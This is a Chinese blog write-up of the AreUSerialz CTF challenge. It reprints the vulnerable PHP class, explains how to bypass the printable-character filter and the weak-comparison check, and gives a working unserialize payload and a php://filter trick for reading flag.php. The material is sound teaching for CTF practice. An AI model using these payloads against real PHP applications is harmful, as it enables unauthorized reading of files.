[网鼎杯 2020 青龙组]AreUSerialz 逻辑最清晰的解题思路&知识点补充(代码审计二)

[网鼎杯 2020 青龙组]AreUSerialz

先扫盲:

PHP ord() 函数其返回值为ASCII码

file_put_contents() 函数把一个字符串写入文件中,如果成功,该函数将返回写入文件中的字符数。如果失败,则返回 False。

=== 需要值和其所属的类型都符合要求 ‘2’ === 2 false

== 值符合要求即可 ‘2’ == 2 true

题目:


<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

首先,这里面在传入反序列化后的参数会被调用到的函数只有

__construct():当一个对象创建时被调用

__destruct():当一个对象销毁时被调用

1.绕过is_valid()函数

函数is_valid($s)对传入的字符串进行判断,确保每一个字符ASCII码值都在32-125,即该函数的作用是确保参数字符串的每一个字符都是可打印的,才返回true,也就是这里:

if(is_valid($str)) {
        $obj = unserialize($str);
    }

绕过方法:

针对与protected类型和private类型的属性存在不可打印字符:

protect分析:

举例:本来是sex结果上面出现的是*sex,而且*sex的长度是4,
但是上面显示的是6,
同样查找资料后发现protect属性序列化的时候格式是%00*%00sex(成员名)

private分析:

这样就发现本来是age结果上面出现的是testage,而且testage长度为7,
但是上面显示的是9
查找资料后发现private属性序列化的时候格式是%00类名%00成员名,
%00占一个字节长度,所以age加了类名后变成了%00test%00age长度为9

那么这里如果传出,对照ASCII码表32-125被定义为可显示字符,但是%00为认定为只占一个字符,所以不在32-125的队伍中,故必须修改成员属性为public,但是这里有给前提就是:PHP7.1以上版本对属性类型不敏感,所以才可以实现

7.1以下的绕过姿势:

当我们将不论是带有protected还是private的成员属性时:

O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:7:"oavinci";}

只要将代表字符串个数的的s改为大写S,就可以实现将%00用16进制编码表示,变成00

2.利用__destruct()来实现read()方法的调用

问题1:为什么非要调用read()方法

回答1:对比write()与read()

private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

首先需要设置成员filename和content,然后判断content不能的字符串不能大于100,然后再将content的内容写入到我传入的filename的文件中,然后通过判断res的类型来执行output方法,但是如果按照这个逻辑的话,那么flag这辈子是出不来了,得到的结果要么successful,要么是failed,所以不可能是通过write方法了

问题2:那么如何调用read()方法呢?

回答2:利用可以调用的__destruct()来实现read()方法的调用

 function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

===很扎眼,考点为弱类型,如果op=一个字符型的2那么就把2变成1,然后调用process()方法:

public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

首先在刚才就被我们否定的write()函数,是绝对不能用的,所以op绝对不可以=1,所以想要保住op=2的前提下又绕过__destruct()函数,就要使用弱类型来实现,也就是说:

if($this->op == “2”) 这里的2可是整数型,可以是字符型,都返回true

if($this->op === “2”) 这里的2如果是整数型则返回false,只有字符型的时候才返回true

这样就可以给$op传入整数型2的值来实现即绕过了__destruct()函数,又能保证执行read()方法

private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

最后一个考点就是在遇到这个file_get_contents()函数的时候,结合php://filter/read=convert.base64-encode/resource=flag.php,等姿势,更多奇奇怪怪的姿势我还没有尝试,请大佬指点

然后可以本地环境来实验了:

<?php
class FileHandler {

    public $op = 2;
    public $filename = "flag.php";
    public $content;

    }
$a = new FileHandler();
echo serialize($a);
?>

构造payload:

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}```
右键查看源代码得到flag

おすすめ

転載: blog.csdn.net/qq_50589021/article/details/116139812